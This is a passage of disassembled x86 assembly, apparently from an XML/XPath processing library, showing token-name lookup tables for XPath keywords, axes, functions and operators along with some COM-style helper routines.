retn 8
sub_69B60916 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B609DE proc near ; CODE XREF: sub_69B60A82+1Dp
; sub_69B60A82+57p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
mov edi, [esi+1Ch]
call sub_69B5EA61
push [ebp+arg_4]
mov ecx, esi
push [ebp+arg_0]
call sub_69B60916
cmp dword ptr [esi+20h], 0FFFFFFFCh
mov [ebp+var_4], eax
jnz short loc_69B60A76
push ebx
mov ebx, 0C00CE606h
loc_69B60A0B: ; CODE XREF: sub_69B609DE+95j
xor eax, eax
cmp [esi+2Ch], eax
jnz short loc_69B60A75
mov ecx, [esi+30h]
cmp ecx, dword_69B9B2C8
jnz short loc_69B60A75
cmp [ebp+var_4], eax
jnz short loc_69B60A2D
push eax
push eax
push edi
push ebx
mov ecx, esi
call sub_69B62488
loc_69B60A2D: ; CODE XREF: sub_69B609DE+42j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push [ebp+arg_4]
mov edi, [esi+1Ch]
push [ebp+arg_0]
mov ecx, esi
call sub_69B60916
test eax, eax
mov [ebp+var_8], eax
jnz short loc_69B60A56
push eax
push eax
push edi
push ebx
mov ecx, esi
call sub_69B62488
loc_69B60A56: ; CODE XREF: sub_69B609DE+6Bj
push [ebp+var_8]
push [ebp+var_4]
call sub_69B69F0C
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
cmp dword ptr [esi+20h], 0FFFFFFFCh
mov [ebp+var_4], ecx
jz short loc_69B60A0B
loc_69B60A75: ; CODE XREF: sub_69B609DE+32j
; sub_69B609DE+3Dj
pop ebx
loc_69B60A76: ; CODE XREF: sub_69B609DE+25j
dec dword ptr [esi+48h]
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn 8
sub_69B609DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B60A82 proc near ; DATA XREF: .text:69B12BB8o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
inc dword ptr [esi+50h]
push edi
mov edi, [esi+1Ch]
call sub_69B5EA61
push [ebp+arg_4]
mov ecx, esi
push [ebp+arg_0]
call sub_69B609DE
test eax, eax
mov [ebp+var_4], eax
mov ebx, 0C00CE606h
jz short loc_69B60B0B
loc_69B60AB0: ; CODE XREF: sub_69B60A82+87j
cmp dword ptr [esi+20h], 0FFFFFFFCh
jnz short loc_69B60B0B
cmp dword ptr [esi+2Ch], 0
jnz short loc_69B60B0B
mov eax, [esi+30h]
cmp eax, dword_69B9B2C0
jnz short loc_69B60B0B
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push [ebp+arg_4]
mov edi, [esi+1Ch]
push [ebp+arg_0]
mov ecx, esi
call sub_69B609DE
test eax, eax
mov [ebp+var_8], eax
jnz short loc_69B60AF0
push eax
push eax
push edi
push ebx
mov ecx, esi
call sub_69B62488
loc_69B60AF0: ; CODE XREF: sub_69B60A82+61j
push [ebp+var_8]
push [ebp+var_4]
call sub_69B69FA2
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
mov [ebp+var_4], ecx
jnz short loc_69B60AB0
loc_69B60B0B: ; CODE XREF: sub_69B60A82+2Cj
; sub_69B60A82+32j ...
dec dword ptr [esi+50h]
xor eax, eax
cmp [ebp+var_4], eax
jnz short loc_69B60B20
push eax
push eax
push edi
push ebx
mov ecx, esi
call sub_69B62488
loc_69B60B20: ; CODE XREF: sub_69B60A82+91j
dec dword ptr [esi+48h]
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B60A82 endp
; =============== S U B R O U T I N E =======================================
sub_69B60B2D proc near ; CODE XREF: sub_69B3D903:loc_69B3D93Fp
; DATA XREF: .text:69B12B4Co
mov eax, offset off_69B60B38
retn
sub_69B60B2D endp
; ---------------------------------------------------------------------------
align 8
off_69B60B38 dd offset dword_69B18894 ; DATA XREF: sub_69B60B2Do
dd offset sub_69B6860C
; ---------------------------------------------------------------------------
loc_69B60B40: ; CODE XREF: .text:69B5EFFFj
; DATA XREF: .text:off_69B12B30o ...
push 20h
push offset dword_69B60C28
call sub_69B19C5C
call dword_69B92948
mov ebx, eax
mov [ebp-1Ch], ebx
test ebx, ebx
jnz short loc_69B60B65
mov eax, 80004005h
jmp loc_69B60C20
; ---------------------------------------------------------------------------
loc_69B60B65: ; CODE XREF: .text:69B60B59j
push 0
lea ecx, [ebp-28h]
call sub_69B11D3B
and dword ptr [ebp-4], 0
push 4
pop ecx
mov edi, offset stru_69B1CA6C
mov esi, [ebp+0Ch]
xor eax, eax
repe cmpsd
jz short loc_69B60BBE
push 4
pop ecx
mov edi, offset dword_69B60C34
mov esi, [ebp+0Ch]
xor eax, eax
repe cmpsd
jz short loc_69B60BBE
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_69B2D67E
mov [ebp-2Ch], eax
lea ecx, [ebp-28h]
call sub_69B1976C
push ebx
call dword_69B92944
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-2Ch]
jmp short loc_69B60C20
; ---------------------------------------------------------------------------
loc_69B60BBE: ; CODE XREF: .text:69B60B82j
; .text:69B60B93j
mov esi, [ebp+8]
lea eax, [esi+8]
neg esi
sbb esi, esi
and esi, eax
mov [ebp-30h], esi
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+10h]
mov [eax], esi
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push ebx
call dword_69B92944
xor eax, eax
jmp short loc_69B60C20
; ---------------------------------------------------------------------------
loc_69B60BEF: ; DATA XREF: .text:69B60C2Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B60BF8: ; DATA XREF: .text:69B60C30o
mov esp, [ebp-18h]
call sub_69B2E808
mov ecx, eax
call sub_69B2E804
mov esi, eax
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, esi
loc_69B60C20: ; CODE XREF: .text:69B60B60j
; .text:69B60BBCj ...
call sub_69B1853C
retn 0Ch
; ---------------------------------------------------------------------------
dword_69B60C28 dd 0FFFFFFFFh dd offset loc_69B60BEF
dd offset loc_69B60BF8
dword_69B60C34 dd 57B4B692h, 11D32388h, 8000398Eh, 99C1ACC7h
; =============== S U B R O U T I N E =======================================
sub_69B60C44 proc near ; CODE XREF: sub_69B6EA8E+2Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_0]
test eax, eax
jz short loc_69B60C51
mov eax, [eax+0Ch]
jmp short loc_69B60C53
; ---------------------------------------------------------------------------
loc_69B60C51: ; CODE XREF: sub_69B60C44+6j
xor eax, eax
loc_69B60C53: ; CODE XREF: sub_69B60C44+Bj
push [esp+arg_C]
mov edx, [ecx]
push [esp+4+arg_8]
push [esp+8+arg_4]
push eax
call dword ptr [edx+38h]
retn 10h
sub_69B60C44 endp
; =============== S U B R O U T I N E =======================================
sub_69B60C68 proc near ; CODE XREF: sub_69B5F881+Bp
; sub_69B6229B+11p ...
push esi
mov esi, ecx
xor eax, eax
jmp short loc_69B60C80
; ---------------------------------------------------------------------------
loc_69B60C6F: ; CODE XREF: sub_69B60C68+1Fj
push eax
call sub_69B2ECB4
test eax, eax
jz short loc_69B60C89
mov ecx, esi
call sub_69B5EA78
loc_69B60C80: ; CODE XREF: sub_69B60C68+5j
mov ax, [esi+0Eh]
test ax, ax
jnz short loc_69B60C6F
loc_69B60C89: ; CODE XREF: sub_69B60C68+Fj
pop esi
retn
sub_69B60C68 endp
; =============== S U B R O U T I N E =======================================
sub_69B60C8B proc near ; CODE XREF: sub_69B61B61+5p
; sub_69B61B61+13p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 0FFFFFFD8h
jg loc_69B60EC3
jz loc_69B60EB9
add eax, 70h ; switch 71 cases
cmp eax, 46h
ja loc_69B61158 ; default
; jumptable 69B60CAA cases -87,-80,-77,-76,-73,-72,-59,-57,-55,-50--47,-45
; jumptable 69B60EDE cases -37,-29--27
jmp ds:off_69B6118A[eax*4] ; switch jump
loc_69B60CB1: ; DATA XREF: .text:off_69B6118Ao
mov eax, offset aAnd ; jumptable 69B60CAA case -63
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60CBB: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aOr ; jumptable 69B60CAA case -64
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60CC5: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aNot ; jumptable 69B60CAA case -65
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60CCF: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aTextnode ; jumptable 69B60CAA case -56
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60CD9: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aNodetype ; jumptable 69B60CAA case -42
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60CE3: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aNodename ; jumptable 69B60CAA case -43
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60CED: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aIndex ; jumptable 69B60CAA case -44
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60CF7: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aEnd ; jumptable 69B60CAA case -46
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60D01: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aAncestor ; jumptable 69B60CAA cases -66,-51
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60D0B: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aId ; jumptable 69B60CAA case -58
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60D15: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aNumber ; jumptable 69B60CAA cases -93,-52
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60D1F: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aString ; jumptable 69B60CAA cases -91,-54
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60D29: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aDate ; jumptable 69B60CAA case -53
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60D33: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aAny ; jumptable 69B60CAA case -60
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60D3D: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aAll ; jumptable 69B60CAA case -61
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60D47: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aContext ; jumptable 69B60CAA case -62
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60D51: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aAncestorOrSelf ; jumptable 69B60CAA case -67
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60D5B: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aChild ; jumptable 69B60CAA case -69
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60D65: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aDescendant ; jumptable 69B60CAA case -70
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60D6F: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aDescendantOrSe ; jumptable 69B60CAA case -71
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60D79: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aNamespace ; jumptable 69B60CAA case -74
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60D83: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aParent ; jumptable 69B60CAA case -75
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60D8D: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aSelf ; jumptable 69B60CAA case -78
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60D97: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset asc_69B61380 ; jumptable 69B60CAA case -79
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60DA1: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aDiv ; jumptable 69B60CAA case -81
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60DAB: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aMod ; jumptable 69B60CAA case -82
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60DB5: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aProcessingInst ; jumptable 69B60CAA case -83
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60DBF: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aLast ; jumptable 69B60CAA case -84
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60DC9: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aPosition ; jumptable 69B60CAA case -85
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60DD3: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aCount ; jumptable 69B60CAA case -86
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60DDD: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aLocalName ; jumptable 69B60CAA case -88
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60DE7: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aNamespaceUri ; jumptable 69B60CAA case -89
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60DF1: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aName ; jumptable 69B60CAA case -90
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60DFB: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aBoolean ; jumptable 69B60CAA case -92
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60E05: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aTrue ; jumptable 69B60CAA case -94
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60E0F: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aFalse ; jumptable 69B60CAA case -95
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60E19: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aCurrent ; jumptable 69B60CAA case -97
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60E23: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aSystemProperty ; jumptable 69B60CAA case -98
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60E2D: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset word_69B26224 ; jumptable 69B60CAA case -99
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60E37: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aFunctionAvaila ; jumptable 69B60CAA case -101
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60E41: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aElementAvailab ; jumptable 69B60CAA case -100
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60E4B: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aFormatNumber ; jumptable 69B60CAA case -102
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60E55: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aFormatnumber ; jumptable 69B60CAA case -103
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60E5F: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aConcat ; jumptable 69B60CAA case -104
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60E69: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aStartsWith ; jumptable 69B60CAA case -105
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60E73: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aContains ; jumptable 69B60CAA case -106
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60E7D: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aSubstringBefor ; jumptable 69B60CAA case -107
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60E87: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aSubstringAfter ; jumptable 69B60CAA case -108
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60E91: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aSubstring ; jumptable 69B60CAA case -109
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60E9B: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aStringLength ; jumptable 69B60CAA case -110
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60EA5: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aNormalizeSpace ; jumptable 69B60CAA case -111
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60EAF: ; CODE XREF: sub_69B60C8B+1Fj
; DATA XREF: .text:off_69B6118Ao
mov eax, offset aTranslate ; jumptable 69B60CAA case -112
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60EB9: ; CODE XREF: sub_69B60C8B+Dj
mov eax, offset aValue ; "value"
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60EC3: ; CODE XREF: sub_69B60C8B+7j
cmp eax, 0FFFFFFFAh
jg loc_69B61007
jz loc_69B60FFD
add eax, 26h ; switch 32 cases
cmp eax, 1Fh
ja loc_69B61158 ; default
; jumptable 69B60CAA cases -87,-80,-77,-76,-73,-72,-59,-57,-55,-50--47,-45
; jumptable 69B60EDE cases -37,-29--27
jmp ds:off_69B612A6[eax*4] ; switch jump
loc_69B60EE5: ; DATA XREF: .text:off_69B612A6o
mov eax, offset asc_69B2969C ; jumptable 69B60EDE case -7
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60EEF: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset asc_69B295A0 ; jumptable 69B60EDE case -8
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60EF9: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset asc_69B29594 ; jumptable 69B60EDE case -9
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60F03: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aEq ; jumptable 69B60EDE case -15
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60F0D: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aNe ; jumptable 69B60EDE case -16
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60F17: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aLt_0 ; jumptable 69B60EDE case -17
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60F21: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aLe ; jumptable 69B60EDE case -18
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60F2B: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aGe ; jumptable 69B60EDE case -19
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60F35: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aGt_0 ; jumptable 69B60EDE case -20
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60F3F: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset asc_69B295C4 ; jumptable 69B60EDE case -10
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60F49: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset asc_69B294FC ; jumptable 69B60EDE case -11
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60F53: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aAnd_0 ; jumptable 69B60EDE case -12
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60F5D: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aOr_0 ; jumptable 69B60EDE case -13
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60F67: ; CODE XREF: sub_69B60C8B+1Fj
; sub_69B60C8B+253j
; DATA XREF: ...
mov eax, offset aNot_0 ; jumptable 69B60CAA case -96
; jumptable 69B60EDE case -14
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60F71: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aTextnode_0 ; jumptable 69B60EDE case -32
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60F7B: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aText ; jumptable 69B60EDE case -35
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60F85: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aComment ; jumptable 69B60EDE case -34
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60F8F: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aPi ; jumptable 69B60EDE case -36
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60F99: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aCdata ; jumptable 69B60EDE case -33
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60FA3: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aElement ; jumptable 69B60EDE case -30
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60FAD: ; CODE XREF: sub_69B60C8B+1Fj
; sub_69B60C8B+253j
; DATA XREF: ...
mov eax, offset aAttribute ; jumptable 69B60CAA case -68
; jumptable 69B60EDE case -31
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60FB7: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aNode ; jumptable 69B60EDE case -38
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60FC1: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aIeq ; jumptable 69B60EDE case -21
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60FCB: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aIne ; jumptable 69B60EDE case -22
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60FD5: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aIlt ; jumptable 69B60EDE case -23
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60FDF: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aIle ; jumptable 69B60EDE case -24
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60FE9: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aIge ; jumptable 69B60EDE case -25
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60FF3: ; CODE XREF: sub_69B60C8B+253j
; DATA XREF: .text:off_69B612A6o
mov eax, offset aIgt ; jumptable 69B60EDE case -26
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B60FFD: ; CODE XREF: sub_69B60C8B+241j
mov eax, offset aNumber_0 ; "NUMBER"
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B61007: ; CODE XREF: sub_69B60C8B+23Bj
cmp eax, 2Dh
jg loc_69B610F1
jz loc_69B610E7
cmp eax, 24h
jg short loc_69B61093
jz short loc_69B61089
cmp eax, 0FFFFFFFBh
jz short loc_69B6107F
cmp eax, 0FFFFFFFCh
jz short loc_69B61075
cmp eax, 0FFFFFFFDh
jz short loc_69B6106B
cmp eax, 0FFFFFFFEh
jz short loc_69B61061
test eax, eax
jz short loc_69B61057
cmp eax, 21h
jz short loc_69B6104D
cmp eax, 22h
jnz loc_69B61158 ; default
; jumptable 69B60CAA cases -87,-80,-77,-76,-73,-72,-59,-57,-55,-50--47,-45
; jumptable 69B60EDE cases -37,-29--27
mov eax, offset asc_69B270E4 ; "\""
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B6104D: ; CODE XREF: sub_69B60C8B+3ADj
mov eax, offset asc_69B26FC4 ; "!"
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B61057: ; CODE XREF: sub_69B60C8B+3A8j
mov eax, offset aEof ; "eof"
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B61061: ; CODE XREF: sub_69B60C8B+3A4j
mov eax, offset a__ ; ".."
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B6106B: ; CODE XREF: sub_69B60C8B+39Fj
mov eax, offset asc_69B295B0 ; "//"
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B61075: ; CODE XREF: sub_69B60C8B+39Aj
mov eax, offset aName_0 ; "NAME"
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B6107F: ; CODE XREF: sub_69B60C8B+395j
mov eax, offset aString_0 ; "STRING"
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B61089: ; CODE XREF: sub_69B60C8B+390j
mov eax, offset asc_69B29698 ; "$"
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B61093: ; CODE XREF: sub_69B60C8B+38Ej
sub eax, 27h
jz short loc_69B610DD
dec eax
jz short loc_69B610D3
dec eax
jz short loc_69B610C9
dec eax
jz short loc_69B610BF
dec eax
jz short loc_69B610B5
dec eax
jnz loc_69B61158 ; default
; jumptable 69B60CAA cases -87,-80,-77,-76,-73,-72,-59,-57,-55,-50--47,-45
; jumptable 69B60EDE cases -37,-29--27
mov eax, offset asc_69B270B8 ; ","
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B610B5: ; CODE XREF: sub_69B60C8B+417j
mov eax, offset asc_69B270C0 ; "+"
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B610BF: ; CODE XREF: sub_69B60C8B+414j
mov eax, offset dword_69B122A4
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B610C9: ; CODE XREF: sub_69B60C8B+411j
mov eax, offset asc_69B270B4 ; ")"
jmp locret_69B61187
; ---------------------------------------------------------------------------
loc_69B610D3: ; CODE XREF: sub_69B60C8B+40Ej
mov eax, offset asc_69B270C8 ; "("
